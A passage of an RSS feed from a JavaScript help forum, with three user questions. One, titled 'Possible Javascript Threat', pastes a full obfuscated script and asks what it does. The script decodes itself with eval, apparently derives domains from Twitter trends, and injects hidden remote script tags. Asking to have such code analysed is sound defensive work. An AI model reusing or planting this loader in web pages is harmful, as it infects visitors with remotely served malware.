&lt;img&gt; is a child of &lt;a&gt; element and its working fine in FF....<br />
<br />
Any clues... Thanks in advance...</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>kshatriy</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55830-onmouseover-not-working-ie.html</guid>
		</item>
		<item>
			<title>Possible Javascript Threat</title>
			<link>http://www.hotscripts.com/forums/javascript/55810-possible-javascript-threat.html</link>
			<pubDate>Mon, 09 Nov 2009 12:04:40 GMT</pubDate>
			<description><![CDATA[Can you please help me on decoding the following javascript. 
What does it actually do ? 
 
HTML: 
--------- 
<script...]]></description>
			<content:encoded><![CDATA[<div>Can you please help me on decoding the following javascript.<br />
What does it actually do ?<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#800000">&lt;script language=<span style="color:#0000FF">&quot;javascript&quot;</span>&gt;</span>$a=&quot;Z63cZ3dZ22ds.leZ256eZ2567tZ2568;i+Z252b)Z257btmpZ253dds.Z2573licZ2565(i,Z2569Z252b1)Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z2561Z253dsZ2574;Z2564cZ2573(Z2564aZ252bZ2564Z2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529;Z2564Z2577(Z2573tZ2529Z253bsZ2574Z253d$aZ253bZ2522;Z22;cbZ3dZ22apZ2565Z2528dZ2573Z2529;Z2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;Z2569Z253cZ22;dbZ3dZ229+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0#9+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+dy}uK7}Z257F~dx7M0-0tqduZ3ewud&#93;Z257F~dx89;!+dy}uK7tqi7M0-0tqduZ3ewudTqdu89+yv08tqduZ3ewudTqi890--0!0ll0tqduZ3ewudTqi890--0Z25260ll0tqduZ3ewudTqi890--0$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0!9+0dy}uK7tqi7M0-0tqduZ3ewudTqdu89+0dy}uK7}Z257F~dx7M0-0tqduZ3ewud&#93;Z257F~dx89;!+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu890;Z22;dcZ3dZ220!9+0yv08tqduZ3ewud&#93;Z257F~dx89;!0,0!Z25209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3dZ252070;08tqduZ3ewud&#93;Z257F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3d70;08tqduZ3ewud&#93;Z257F~dx89;!9+myv08tqduZ3ewudTqdu890;!0,0!Z25209kcxyvdY~tuh0-cxyvdY~tuh0;07Z3dZ252070;0tqduZ3ewudTqdu89+mu|cukcxyvdY~tuh0-0cxyvdY~tuh0;07Z3d70;0tqduZ3ewudTqdu89+mcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKcxyvdY~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8!9+ve~sdyZ257F~0SZ22;opZ3dZ22Z2524aZ253dZ2522dw(Z2564cs(Z2563u,Z25314Z2529Z2529;Z2522;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;ubZ7bfdZ25;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;dzZ3dZ22Z2566unZ2563tZ2569on Z2564wZ2528t)Z257bcZ2561Z253dZ2527Z252564Z25256fcuZ256dZ252565nt.Z252577riZ2574Z25256Z2535Z252528Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ25256Z2539pZ2574Z252520Z256cZ2561Z25256eZ2567uZ252561Z2567Z252565Z25253dZ25255cZ252522jaZ2576Z252561Z252573Z2563Z252572Z252569pZ25257Z2534Z25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriZ2570Z252574Z25253eZ2527;eZ2576alZ2528uZ256eesZ2563apeZ2528t))Z257d;Z22;deZ3dZ22iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4q-4qZ3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;ddZ3dZ22q|se|qdu&#93;qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+mfqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0}qwys^e}+~e}0-0Sq|se|qdu&#93;qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z22;ceZ3dZ22Z2563harZ2543oZ2564Z2565At(Z2530)Z255e(Z25270Z257800Z2527+esZ2529))Z253bZ257d}Z22;cdZ3dZ22;Z2573tZ253dZ2573Z2574+Z2553triZ256eg.fZ2572omCZ2568arCZ256fdZ2565((Z2574mp.Z22;czZ3dZ22Z2566Z2575Z256ectiZ256fn cZ257aZ2528cZ257a)Z257brZ2565tuZ2572n Z2563aZ252bZ2563Z2562+Z2563c+cZ2564+cZ2565Z252bcz;Z257dZ253bZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0dy}u0-0~ug0Qbbqi89+fqb0tqdu0-0~ug0Tqdu8Z22;caZ3dZ22Z2566uZ256ecZ2574ioZ256eZ2520Z2564cZ2573(dsZ252cZ2565sZ2529Z257bdsZ253dunesZ2563Z22;Z69fZ20(doZ63umZ65ntZ2eZ63oZ6fZ6bieZ2einZ64exZ4fZ66(Z27rfZ35f6Z64Z73Z27)Z3dZ3d-1)Z7bfuncZ74ioZ6e cZ61llZ62aZ63k(Z78)Z7b wiZ6edowZ2etw Z3dZ20xZ3bZ73Z63(Z27rf5fZ36dZ73Z27,2,7)Z3beZ76al(Z75nZ65scaZ70e(dZ7a+Z63Z7a+opZ2bsZ74)Z2bZ27Z64wZ28dzZ2bZ63z(Z24aZ2bsZ74)Z29Z3bZ27);Z64oZ63umeZ6eZ74Z2ewZ72Z69Z74eZ28Z24a);Z7ddZ6fZ63Z75mZ65ntZ2ewriZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearcZ68.Z74witZ74erZ2ecoZ6dZ2fimageZ73Z2fsearcZ68Z2frss.pZ6egZ27 widtZ68Z3d1 hZ65Z69gZ68tZ3d1 Z73tyZ6ceZ3dZ27visibiZ6cityZ3ahidZ64eZ6eZ27 Z2fZ3e Z3cscZ72Z22+Z22ipt lZ61nguZ61geZ3djaZ76aZ73crZ69ptZ22+Z22 srcZ3dZ27hZ74tZ70:Z2fZ2fseZ61rchZ2eZ74wiZ74tZ65r.Z63Z6fZ6dZ2ftrendsZ2fZ77Z65Z65kZ6cZ79.jZ73Z6fnZ3fcalZ6cbaZ63Z6bZ3dcallbZ61ck&amp;Z65xZ63ludZ65Z3dZ68asZ68tagZ73Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$aZ3dZ27Z27};fuZ6ectiZ6fn sZ63Z28cnmZ2cv,Z65d)Z7bvZ61Z72Z20exZ64Z3dnew DZ61Z74Z65();Z65Z78Z64Z2esZ65tDaZ74Z65(eZ78Z64.gZ65tDaZ74Z65()Z2bedZ29;Z64oZ63uZ6dZ65ntZ2eZ63oZ6fkieZ3dcnmZ2bZ20Z27Z3dZ27 +escape(Z76)+Z27Z3bZ65Z78Z70irZ65sZ3dZ27+exdZ2etZ6fGMTZ53Z74rZ69nZ67Z28)Z3bZ7d;&quot;;function z(s){r=&quot;&quot;;for(i=0;i<span style="color:#000080">&lt;s.length;i++){if(s.charAt(i)==&quot;Z&quot;){s1=&quot;%&quot;}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));&lt;/script&gt;</span><span style="color:#000080">&lt;/body&gt;</span></code><hr />
</div>Thanks</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>pretino</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55810-possible-javascript-threat.html</guid>
		</item>
		<item>
			<title><![CDATA[2 errors can't solve them please help]]></title>
			<link>http://www.hotscripts.com/forums/javascript/55797-2-errors-cant-solve-them-please-help.html</link>
			<pubDate>Sat, 07 Nov 2009 14:38:35 GMT</pubDate>
			<description>i got two different errors in two different pages 
 
 
i got this error in page 1 
Attachment 1084 (http://www.hotscripts.com/forums/attachments/javascript/1084-2-errors-cant-solve-them-please-help-1.jpg) 
 
and this error in page 2 
Attachment 1085 (http://www.hotscripts.com/forums/attachments/javascript/1085-2-errors-cant-solve-them-please-help-2.jpg) 
 
and here is the...</description>
			<content:encoded><![CDATA[<div>i got two different errors in two different pages<br />
<br />
<br />
i got this error in page 1<br />
<a href="http://www.hotscripts.com/forums/attachments/javascript/1084-2-errors-cant-solve-them-please-help-1.jpg" target="_blank">Attachment 1084</a><br />
<br />
and this error in page 2<br />
<a href="http://www.hotscripts.com/forums/attachments/javascript/1085-2-errors-cant-solve-them-please-help-2.jpg" target="_blank">Attachment 1085</a><br />
<br />
and here is the pages in zip file<br />
<a href="http://www.hotscripts.com/forums/attachments/javascript/1086-2-errors-cant-solve-them-please-help-pages.zip" target="_blank">Attachment 1086</a><br />
<br />
please help :(:crying:</div>


	<br />
	<div style="padding:6px">

	

	
		<fieldset class="fieldset">
			<legend>Attached Images</legend>
			<div style="padding:3px">
			<img class="attach" src="http://www.hotscripts.com/forums/attachments/javascript/1084d1257604658-2-errors-cant-solve-them-please-help-1.jpg" border="0" alt="" />&nbsp;<img class="attach" src="http://www.hotscripts.com/forums/attachments/javascript/1085d1257604667-2-errors-cant-solve-them-please-help-2.jpg" border="0" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Attached Files</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr>
	<td><img class="inlineimg" src="http://cdn.hotscripts.com/forums/hsforum/attach/zip.gif" alt="File Type: zip" width="16" height="16" border="0" style="vertical-align:baseline" /></td>
	<td><a href="http://www.hotscripts.com/forums/attachments/javascript/1086d1257604674-2-errors-cant-solve-them-please-help-pages.zip">pages.zip</a> (6.7 KB)</td>
</tr>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>hscorp</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55797-2-errors-cant-solve-them-please-help.html</guid>
		</item>
	</channel>
</rss>
